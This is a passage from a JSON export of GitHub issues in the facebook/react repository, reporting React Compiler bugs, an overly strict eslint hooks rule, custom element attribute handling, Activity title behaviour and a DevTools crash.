union of few different states (in original example this is RR `useFetcher`)\n2. I'm having a `useEffectEvent` callback that's supposed to be called within `useEffect` when data becomes successful, additionaly I have an assertion so TypeScript allows me to access the `.feedback` part and no-one tries to invoke the callback otherwise\n3. Mentioned `useEffect` that invokes (2)\n4. User action invokes state change (in original example this is asynchronous, and happens in background, hence `useEffect` usage at all).\n\nIn the output the data is eagerly accessed to cache the function, causing the error:\n\n\"Image\"\n\nRandom thoughts: maybe it's somehow partially related to my `assert` function, where compiler doesn't know what does it do? But it causes me to don't use optional chaining, but compiler doesn't know why I'm not using it and is not informed by the types 🤔 Also it's not strictly related to the `useEffectEvent` or anything like that, because if I remove it - it'll still cause the same problem\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n19.2.0\n\n### What version of React Compiler are you using?\n\n19.1.0-rc.3", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/34752/reactions", "total_count": 12, "+1": 11, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 1, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/34750", "id": 3486088032, "node_id": "I_kwDOAJy2Ks7PyXtg", "number": 34750, "title": "[Compiler Bug]: Unclear preserve-manual-memoization error message.", "user": { "login": "cpojer", "id": 13352, "node_id": "MDQ6VXNlcjEzMzUy", "avatar_url": "https://avatars.githubusercontent.com/u/13352?v=4", "gravatar_id": "", "url": "https://api.github.com/users/cpojer", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 180616330, "node_id": "MDU6TGFiZWwxODA2MTYzMzA=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20React%20Compiler", "name": "Component: React Compiler", "color": "bfdadc", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 1, "created_at": "2025-10-06T07:54:04Z", "updated_at": "2025-11-03T20:37:25Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [x] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAjggDswDcIAZCOAQwBsBhWgW01oEsBzY-AXnwAKADq9Crdt2LJ81OkwmceAJQgB3fAB98xKPXoAaUQEoZchszZLe23fv4A+UfnFWp+AGQfnL15J4AdAAmHABmoRxwergAnvgAhAJ29J7eYi50boEcQak+GYpSAfQIAG4I9GB56X7WAcSsCNW+tUXEGARe+a2B6u0wVV01mf7EAWD0UFzNviN1uLRcYN0A-PjA3S5BCGBwMByYuBwkMnNF27v7h8c22gDkd0Y1W2ERUfSxp4WBIeGR0TEni0XDkvlkxjkgcCSuVKmDRsUyhUwFCWg0WAh4XV0QhUb52uhcFi2h08S4JlNiYEKVw8QBfboyZIAblEogw2Dw+FCUGIcCOJHwUDACHMCnBACEYgBlSZcQQ0mRkfbELimWQ0CzfGw6PQpDZiIikAhnHhVATChAAFVoACMSoI7qbiHdjKyxDAELhYLxLQBZBAsCCCQTGRzrbqhHBCI1kfA5fAQUL4ADytoAVgh+QEANYIGJgQTOsDGMMG4GEEhx538HqkADaOQAuu6K2EY9rxnL+HwBDSy5tfJ7vTBeBQxZZRkXtW7BwyavOWsOfbr9K38HSDPh68WtzSm7PiPOQAYQEaIlwUCAOGwcOQYpgmsB8AAFOUcYgp65VjfcmAQFh8DuW07QqABaTB32IMDPVofkwKINgOBKGAAHoQjIO53VEQRy3wVDUMQzBkNoAViD9CBthkYQQAYegaJ8BBiFKDh-2IDFiCJCNiG6Ji7RKF9PRFGBygAUXQDgyA-LgAyDDgAC9SJuABxKBaBgWhOIQHYZFwGAoFxbpSgYHJSIQQSdgQESEHEySjlVWSIAUpSSFU9TNNwbSwF0-SEB8ec6XwMAlLACIdlfdSjgYAAeN8pg-L8yLABw3RPcAAAt1AASS00cGDAFBQnyhA6SAA\n\n### Repro steps\n\nThe above example calls a module-local function `return toLocalCampaign(campaign);` and somehow that trips up the `preserve-manual-memoization` rule. It's unclear why it fails, and the error message does not provide any guidance, so raising it here as a bug. I thought maybe it's because that function could mutate the `campaign` variable, but doing `toLocalCampaign({...campaign})` also does not work.\n\nHelp!\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\nlatest\n\n### What version of React Compiler are you using?\n\nlatest", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/34750/reactions", "total_count": 1, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 1, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/34749", "id": 3486042632, "node_id": "I_kwDOAJy2Ks7PyMoI", "number": 34749, "title": "[Compiler Bug]: The compiler cannot handle callbacks which reference themselves.", "user": { "login": "cpojer", "id": 13352, "node_id": "MDQ6VXNlcjEzMzUy", "avatar_url": "https://avatars.githubusercontent.com/u/13352?v=4", "gravatar_id": "", "url": "https://api.github.com/users/cpojer", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 180616330, "node_id": "MDU6TGFiZWwxODA2MTYzMzA=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20React%20Compiler", "name": "Component: React Compiler", "color": "bfdadc", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 1, "created_at": "2025-10-06T07:38:05Z", "updated_at": "2025-11-03T20:37:25Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [x] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAgBMEAzAQygBsCSoA7OXASwjvyjAQAkIIBrABQBKfMAA6bfHFZgCrAIKZMMCADcEhfAF52nAMJlKlAEZk4g4doB8oifnv5OuAMq4yuBALpVKQgNx2DgCS8gAKAPwAdLI4CFEQJCQCCkoq6oT+gQC+ADT4ANohEdG4sQC6mXRZEiA5INJ0JEwA5iggTAC22Hj4uACemAii+KGUUM1MdADymMwy+Fn4JCod+ADkpsYIlAC0mGMTdDswCGa4O9JdTJQIMAD0hEyyawF0EgLiknd3l5jX7iw6ABZCDEZD4MQgQyUSGBBB0VRMFR0Drw3Dgz6BezwsjGG6hE6cGDqACi6CezDozSBCA6ECYAC8AawAOJQMgwMh0DwIMDg3AwKAIHJY-CqQxMQjuBAE3m3Unk2STam0+lMuZ0Nkcrk8vm9QUIbISRZgAFgJq8kYc5iGAA8o3GkxmGrAVn8tXAAAsIAB3ILc250QxgFDkSicLJAA\n\n### Repro steps\n\nIf you have a pattern where a function memoized with `useCallback` refers to its own binding outside of the `useCallback` call, React Compiler will say that the variable is accessed before it is defined. However, all other JavaScript tooling can handle this use-case. It would be great if the React Compiler could handle this too.\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\nlatest\n\n### What version of React Compiler are you using?\n\nlatest", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/34749/reactions", "total_count": 1, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 1, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/34743", "id": 3484953092, "node_id": "I_kwDOAJy2Ks7PuCoE", "number": 34743, "title": "Bug: react-hooks/set-state-in-effect overly strict?", "user": { "login": "karlhorky", "id": 1935696, "node_id": "MDQ6VXNlcjE5MzU2OTY=", "avatar_url": "https://avatars.githubusercontent.com/u/1935696?v=4", "gravatar_id": "", "url": "https://api.github.com/users/karlhorky", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "1": { "id": 180616330, "node_id": "MDU6TGFiZWwxODA2MTYzMzA=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20React%20Compiler", "name": "Component: React Compiler", "color": "bfdadc", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 33, "created_at": "2025-10-05T16:33:14Z", "updated_at": "2026-02-24T15:31:12Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\n\neslint-plugin-react-hooks version: 6.1.1\n\n## Steps To Reproduce\n\n1. Use common, valid patterns for setting state in an effect, from those in the wild and official docs (see patterns in section below)\n2. Problem reported by `eslint-plugin-react-hooks` 💥\n\n\n\nLink to code example: https://codesandbox.io/p/devbox/still-resonance-lzsl44?file=%2Fapp%2FComponent.tsx%3A10%2C49&workspaceId=ws_GfAuHrswXyA1DoeSwsjjjz\n\n\"Image\"\n\n```bash\n$ pnpm eslint . --max-warnings 0\n\n/project/workspace/app/Component.tsx\n 7:5 error Error: Calling setState synchronously within an effect can trigger cascading renders\n\nEffects are intended to synchronize state between React and external systems such as manually updating the DOM, state management libraries, or other platform APIs. In general, the body of an effect should do one or both of the following:\n* Update external systems with the latest state from React.\n* Subscribe for updates from some external system, calling setState in a callback function when external state changes.\n\nCalling setState synchronously within an effect body causes cascading renders that can hurt performance, and is not recommended. (https://react.dev/learn/you-might-not-need-an-effect).\n\n/project/workspace/app/Component.tsx:7:5\n 5 |\n 6 | useEffect(() => {\n> 7 | setDidMount(true);\n | ^^^^^^^^^^^ Avoid calling setState() directly within an effect\n 8 | }, []);\n 9 |\n 10 | return
Mounted: {didMount ? \"Yes\" : \"No\"}
; react-hooks/set-state-in-effect\n\n✖ 1 problem (1 error, 0 warnings)\n```\n\n\n\n\n## Widespread setState in `useEffect` Patterns\n\n1. Displaying different content on the server and client aka `didMount`, `isClient`, `isMounted`, `mounted` [React docs 1](https://react.dev/reference/react/useEffect#displaying-different-content-on-the-server-and-the-client), [React docs 2](https://react.dev/reference/react-dom/client/hydrateRoot#handling-different-client-and-server-content), [Next.js docs](https://nextjs.org/docs/messages/react-hydration-error), [next-themes docs](https://github.com/pacocoursey/next-themes#avoid-hydration-mismatch), [MUI Joy UI docs](https://mui.com/joy-ui/customization/dark-mode/)\n2. Setting a value while avoiding cascading renders from @controversial\nhttps://github.com/facebook/react/issues/34045\n\nI will add any more common patterns I find to the list as I encounter more examples.\n\nSome examples of other, less widespread patterns:\n\n1. Syncing `URL.createObjectURL()` with state https://github.com/facebook/react/issues/34743#issuecomment-3437002940\n\n## The current behavior\n\n`react-hooks/set-state-in-effect` raises a problem with the message `Calling setState synchronously within an effect can trigger cascading renders`\n\n## The expected behavior\n\n`react-hooks/set-state-in-effect` is less strict, allowing for common usage patterns while catching possible [\"effect loops\"](https://github.com/Rel1cx/eslint-react/issues/755#issuecomment-3362222906) or other unwanted behavior\n\n## Alternatives considered\n\n1. Improved examples on [the `react-hooks/set-state-in-effect` docs page](https://react.dev/reference/eslint-plugin-react-hooks/lints/set-state-in-effect), showing more patterns such as [the remediation patterns mentioned below](https://github.com/facebook/react/issues/34743#issuecomment-3370287621) that can be used in lieu of setting state directly in an effect (possible downside: some patterns may not have usable replacements outside of setting state in effects)\n2. Improved examples on [the `react-hooks/set-state-in-effect` docs page](https://react.dev/reference/eslint-plugin-react-hooks/lints/set-state-in-effect), showing alternative patterns with setting state directly in an effect eg. [using `startTransition()`, `requestAnimationFrame()` or `setTimeout()`](https://github.com/reactjs/react.dev/pull/8029#discussion_r2394023573) (downside: seems wrong, like a code smell or \"tricking the lint rule\")\n\n## History\n\n- The React Compiler team is aware of problems like this and is thinking about how to better handle false positives https://github.com/facebook/react/issues/34045#issuecomment-3137784707\n\ncc @jedwards1211 @josephsavona ", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/34743/reactions", "total_count": 35, "+1": 27, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 1, "rocket": 0, "eyes": 7 }, "performed_via_github_app": null, "state_reason": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/34738", "id": 3484750762, "node_id": "I_kwDOAJy2Ks7PtROq", "number": 34738, "title": "Bug: in <activity> sets the title when \"mode=hidden\"", "user": { "login": "nilshartmann", "id": 435073, "node_id": "MDQ6VXNlcjQzNTA3Mw==", "avatar_url": "https://avatars.githubusercontent.com/u/435073?v=4", "gravatar_id": "", "url": "https://api.github.com/users/nilshartmann", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 127893911, "node_id": "MDU6TGFiZWwxMjc4OTM5MTE=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20DOM", "name": "Component: DOM", "color": "fef2c0", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 5, "created_at": "2025-10-05T12:10:46Z", "updated_at": "2025-11-03T07:23:04Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "<!--\n Please provide a clear and concise description of what the bug is. Include\n screenshots if needed. Please test using the latest version of the relevant\n React packages to make sure your issue has not already been fixed.\n-->\n\nReact version: 19.2\n\n## Steps To Reproduce\n\n1. Add two (or more) components wrapped in `Activity`\n2. Add a `<title>` component to each component wrapped in `Activity`\n3. The browser title does not change if you switch an Activity from `hidden` to `visible`\n\n<!--\n Your bug will get fixed much faster if we can run your code and it doesn't\n have dependencies other than React. Issues without reproduction steps or\n code examples may be immediately closed as not actionable.\n-->\n\nLink to code example: https://github.com/nilshartmann/react-activity-title\n\n<!--\n Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a\n repository on GitHub, or provide a minimal code example that reproduces the\n problem. You may provide a screenshot of the application if you think it is\n relevant to your bug report. Here are some tips for providing a minimal\n example: https://stackoverflow.com/help/mcve.\n-->\n\n## The current behavior\n\n- The last (?) rendered components sets the title with no respect to surrounding `Activity`\n- In the screenshot below `<activity mode='\"visible\"'>` renders a component that itself renders `<title>two`, but actually the tab title is set to `three` (rendered by a ``-component inside a child component of `<activity mode='\"hidden\"'>`)\n\n<img width='\"795\"' height='\"648\"' alt='\"Image\"' src="%5C%22https://github.com/user-attachments/assets/c3e76b01-c40e-45c8-940d-d9c8cf702b75%5C%22">\n\n## The expected behavior\n\n- Only the `<title>` in the `<activity mode='\"visible\"'>` component should affect the browser title\n- or it should be documented somewhere that the current behaviour is working as expected\n\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/34738/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/34663", "id": 3471078927, "node_id": "I_kwDOAJy2Ks7O5HYP", "number": 34663, "title": "Bug: React Handles Native Attributes Incorrectly for Custom Elements, Causing Runtime Errors", "user": { "login": "ITenthusiasm", "id": 47364027, "node_id": "MDQ6VXNlcjQ3MzY0MDI3", "avatar_url": "https://avatars.githubusercontent.com/u/47364027?v=4", "gravatar_id": "", "url": "https://api.github.com/users/ITenthusiasm", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 2, "created_at": "2025-09-30T21:08:34Z", "updated_at": "2025-12-29T23:05:59Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "The common/global HTML attributes are treated differently between native elements and Custom Elements. For example, `<input aria-invalid="{true}">` in React produces `<input aria-invalid='\"true\"'>` in the HTML. But `<custom-element aria-invalid="{true}">` in React produces `<custom-element aria-invalid>` in the HTML. This leads to an inconsistent and bug-prone DX. In some cases, it also results in runtime errors.\n\nRelates to: #32251\n\n**React Version**: 19.1.1\n\n## Steps To Reproduce\n\n#### For the `form` Attribute\n1. Create a form-associated Custom Element\n2. Define a `form` _getter_ on it (similar to native form controls)\n3. In React, attempt to point the Custom Element's `form` attribute to a specific `<form>` element\n\n#### For the `aria-invalid` Attribute\n1. Create a Custom Element\n2. In React, set the Custom Element's `aria-invalid` attribute to `true`\n\nExample Reproduction: https://stackblitz.com/edit/react-custom-elements-global-attrs?file=src%2FApp.tsx,index.html&terminal=dev\n\n## The current behavior\n\n#### For the `form` Attribute\nAn error is thrown at runtime, because React tries to set a `getter` instead of altering the form `attribute` (which is what happens for native form controls).\n\n#### For the `aria-invalid` Attribute\nThe attribute is set to an empty string (`\"\"`) as if it were a literal [boolean attribute](https://developer.mozilla.org/en-US/docs/Glossary/Boolean/HTML).\n\n\n## The expected behavior\n\n#### For the `form` Attribute\nAn error should not be thrown, and React should not attempt to set a JS Property. Instead, React should treat the attribute the same way it does for native form controls, setting the attribute only.\n\n#### For the `aria-invalid` Attribute\nThe attribute should be treated the same way as it is for other native elements: `aria-invalid={true}` should become `aria-invalid=\"true\"` and `aria-invalid={false}` should become `aria-invalid=\"false\"`.\n\nThe overall expectation beyond these 2 things is that for any attribute in the set of \"common/native attributes\", React properly updates attributes instead of JS Properties for Custom Elements and native `HTMLElement`s alike, in a consistent manner.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/34663/reactions", "total_count": 1, "+1": 1, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/34657", "id": 3469819650, "node_id": "I_kwDOAJy2Ks7O0T8C", "number": 34657, "title": "[Compiler Bug]: Playground crashes with a simple hook with getters", "user": { "login": "nandorojo", "id": 13172299, "node_id": "MDQ6VXNlcjEzMTcyMjk5", "avatar_url": "https://avatars.githubusercontent.com/u/13172299?v=4", "gravatar_id": "", "url": "https://api.github.com/users/nandorojo", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 180616330, "node_id": "MDU6TGFiZWwxODA2MTYzMzA=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20React%20Compiler", "name": "Component: React Compiler", "color": "bfdadc", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 1, "created_at": "2025-09-30T14:36:46Z", "updated_at": "2025-11-03T20:37:25Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhASwLYAcIwC4AEwBcAFgIZ5gBiaAdgCYDyWeaEdYBAvgQGYwIGAgHIAAgHpyWNBIBuABglwANmgR08EsXnKddcANYSYCcnDwBaAI5QEMAJ4A6AOYaRAHTqYc+IgUMEBCwABVM5digwABFKcgAaAiiEAEU7Rx5+QWFxCSxBCIZ7CVt7B09vbFxCYmSAZV08BEyBIVFTczwKrwQAD19CPig6C3Y6JLAEanI5XDQmsAAKYC8CAnmEDDAQ+xDyNwIAXgIAZnjVgj68GHI9tzAAFQhqBDwyI4IFc7puZH8NrY7GB3BAAfj+dCgGAARvYANyXXrXW77BCPZ6vMjggiQmH2TLHYDcACURAucA4YEIAG0sKjEpM8CCALofeqNBCLACMxK85MphFKGWOyTSZWWFzWTmlZEoNHozFYYyWK3Ga3VQocf1V6t16xoMzmTT+ImudhE3z16rUGHmfwB212qIIACoCIs6QcANSI5Eg9EvN6kYmWq0ECB8PiMv5fSXq7ihtYkxMEKkwKAWWDkFR1CgweguP6BYJhBARaAxOKhkl8tWmPCwcY69VuQgMOKLUnN3X1xsETVOdu6UGDuJxhNx1v6gAyEHIDALnbJap7rz7A7QYFn84L45TU83gbIi67cbWvZg4w3NExpF3K54+9eBAoYAAclcQUvu+qKfoCEO5AfAOgEjoBZ7rHw7oAISAaSF7jHw2aTBBCEAXETgqBoLh4KQRyHMcDpAiCroEJ6CB7nGfC3h+SIgn8S6HAAfMuVqMl+5EED6PKUQ+B43kGBYALK4Jyp4Puea6Xv26TOIet4FgQABkSkyWUo7Dhp5AjlhdA4XhBGEU0gJOgcbrkbxSZeNwXggPEIB-nwaAuCg6BVH4eAOFgzTECEKhQC49AsGwlItNkojQuQsIqJYWD+YFdCWB0FiWBS2BoFhMASAuVIiHCtYSmqEjKEIMgqJQYwiUUfweCA2YqLV1mphVYBOWiBB+QFQVKpSxJwnZ4CkBAADuACSmj2HQyEoEhKiTNwQA\n\n### Repro steps\n\nThe following code breaks in the React Compiler Playground:\n\n<details>\n<summary>View code</summary>\n\n```tsx\nimport { chatsFindOptions } from '@/api'\nimport { useQuery } from '@/provider/query'\nimport { useState } from 'react'\n\nexport function useFavorites({\n itemsPerPage = 3,\n extraPagesToFetch = 0,\n}: { itemsPerPage?: number; extraPagesToFetch?: number } = {}) {\n const [page, setPage] = useState(1)\n\n const query = useQuery({\n ...chatsFindOptions({\n query: {\n isFavorite: 'true',\n limit: itemsPerPage * (page + extraPagesToFetch),\n offset: 0,\n },\n }),\n })\n\n return {\n get data() {\n return query.data?.data\n },\n get isLoading() {\n return query.isLoading\n },\n get isFetching() {\n return query.isFetching\n },\n get hasNextPage() {\n const data = query.data?.data\n if (!data) return false\n return data.length === itemsPerPage * page\n },\n fetchNextPage: () => {\n setPage(page + 1)\n },\n get isFetchingMore() {\n return query.isFetching && query.data?.data?.length === itemsPerPage * page\n },\n }\n}\n```\n\n\n</details>\n\nPlayground throws this error:\n\n```sh\nTypeError: undefined is not an object (evaluating 'a.code')\n```\n\n\n<img width='\"3444\"' height='\"2010\"' alt='\"Image\"' src="%5C%22https://github.com/user-attachments/assets/b7fb268a-fc4f-470d-ac87-e14bd713188d%5C%22">\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n19.1.0\n\n### What version of React Compiler are you using?\n\n19.1.0", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/34657/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/34563", "id": 3443823562, "node_id": "I_kwDOAJy2Ks7NRJPK", "number": 34563, "title": "[DevTools Bug] Cannot read properties of undefined (reading 'length')", "user": { "login": "Vatsal0410", "id": 95338332, "node_id": "U_kgDOBa6_XA", "avatar_url": "https://avatars.githubusercontent.com/u/95338332?v=4", "gravatar_id": "", "url": "https://api.github.com/users/Vatsal0410", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": { "0": { "login": "hoxyq", "id": 28902667, "node_id": "MDQ6VXNlcjI4OTAyNjY3", "avatar_url": "https://avatars.githubusercontent.com/u/28902667?v=4", "gravatar_id": "", "url": "https://api.github.com/users/hoxyq", "type": "User", "user_view_type": "public", "site_admin": false } }, "milestone": null, "comments": 6, "created_at": "2025-09-23T06:04:09Z", "updated_at": "2026-03-03T15:59:49Z", "closed_at": null, "assignee": { "login": "hoxyq", "id": 28902667, "node_id": "MDQ6VXNlcjI4OTAyNjY3", "avatar_url": "https://avatars.githubusercontent.com/u/28902667?v=4", "gravatar_id": "", "url": "https://api.github.com/users/hoxyq", "type": "User", "user_view_type": "public", "site_admin": false }, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\n\non localhost\n\n### Repro steps\n\n<img width='\"677\"' height='\"907\"' alt='\"Image\"' src="%5C%22https://github.com/user-attachments/assets/eb4efe3f-a200-4fa5-8989-cbc85e9990b3%5C%22">\n\n### How often does this bug happen?\n\nSometimes\n\n### DevTools package (automated)\n\nreact-devtools-extensions\n\n### DevTools version (automated)\n\n6.1.5-5d87cd2244\n\n### Error message (automated)\n\nCannot read properties of undefined (reading 'length')\n\n### Error call stack (automated)\n\n```text\nat ProfilingCache_defineProperty.commitIndex (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1224203)\n at he.getFlamegraphChartData (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1224614)\n at CommitFlamegraphAutoSizer (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1473032)\n at renderWithHooks (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:66690)\n at updateFunctionComponent (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:96942)\n at beginWork (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:110959)\n at performUnitOfWork (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:182534)\n at workLoopSync (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:182390)\n at renderRootSync (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:182174)\n at performWorkOnRoot (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:177634)\n```\n\n### Error component stack (automated)\n\n```text\nat CommitFlamegraphAutoSizer (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1472789)\n at div (<anonymous>)\n at div (<anonymous>)\n 